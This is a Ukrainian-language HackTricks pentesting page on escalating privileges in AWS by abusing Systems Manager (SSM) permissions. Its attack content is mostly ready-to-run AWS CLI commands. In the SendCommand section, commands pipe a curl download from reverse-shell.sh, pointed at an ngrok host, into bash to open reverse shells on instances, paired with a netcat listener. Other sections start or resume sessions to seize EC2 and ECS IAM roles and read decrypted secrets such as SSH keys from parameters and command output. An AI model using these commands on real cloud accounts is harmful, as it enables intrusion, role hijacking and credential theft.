AWS - SSM Privesc
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
SSM
Для отримання додаткової інформації про SSM перегляньте:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Зловмисник з дозволом ssm:SendCommand
може виконувати команди в екземплярах, що працюють з Amazon SSM Agent, і компрометувати IAM Role, що працює всередині нього.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
У випадку, якщо ви використовуєте цю техніку для підвищення привілеїв всередині вже скомпрометованого EC2 екземпляра, ви можете просто захопити rev shell локально за допомогою:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Потенційний вплив: Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів з працюючими SSM агентами.
ssm:StartSession
Зловмисник з дозволом ssm:StartSession
може розпочати сесію, подібну до SSH, в екземплярах, що працюють з Amazon SSM Agent, і скомпрометувати IAM роль, що працює всередині неї.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
Щоб розпочати сесію, вам потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Потенційний вплив: Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів з працюючими SSM Agents.
Підвищення привілеїв до ECS
Коли ECS завдання виконуються з увімкненим ExecuteCommand
, користувачі з достатніми правами можуть використовувати ecs execute-command
, щоб виконати команду всередині контейнера.
Згідно з документацією, це робиться шляхом створення безпечного каналу між пристроєм, який ви використовуєте для ініціювання команди “exec“, і цільовим контейнером з SSM Session Manager. (Плагін SSM Session Manager необхідний для цього)
Отже, користувачі з ssm:StartSession
зможуть отримати оболонку всередині ECS завдань з увімкненою цією опцією, просто виконавши:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
Потенційний вплив: Пряме підвищення привілеїв до ECS
IAM ролей, прикріплених до запущених завдань з увімкненим ExecuteCommand
.
ssm:ResumeSession
Зловмисник з дозволом ssm:ResumeSession
може повторно розпочати сесію, схожу на SSH, в екземплярах, що виконують Amazon SSM Agent з відключеним станом сесії SSM та скомпрометувати IAM роль, що виконується всередині неї.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Потенційний вплив: Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів з працюючими SSM агентами та відключеними сесіями.
ssm:DescribeParameters
, (ssm:GetParameter
| ssm:GetParameters
)
Зловмисник з вказаними дозволами зможе перерахувати SSM параметри та читати їх у відкритому тексті. У цих параметрах ви часто можете знайти чутливу інформацію, таку як SSH ключі або API ключі.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Потенційний вплив: Знайти чутливу інформацію всередині параметрів.
ssm:ListCommands
Зловмисник з цим дозволом може перерахувати всі команди, що були надіслані, і, сподіваючись, знайти чутливу інформацію в них.
aws ssm list-commands
Потенційний вплив: Знайти чутливу інформацію всередині командних рядків.
ssm:GetCommandInvocation
, (ssm:ListCommandInvocations
| ssm:ListCommands
)
Зловмисник з цими дозволами може перерахувати всі команди, надіслані та прочитати вихідні дані, сподіваючись знайти чутливу інформацію в них.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Потенційний вплив: Знайти чутливу інформацію виводу командних рядків.
Codebuild
Ви також можете використовувати SSM, щоб отримати доступ до проекту codebuild, що будується:
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.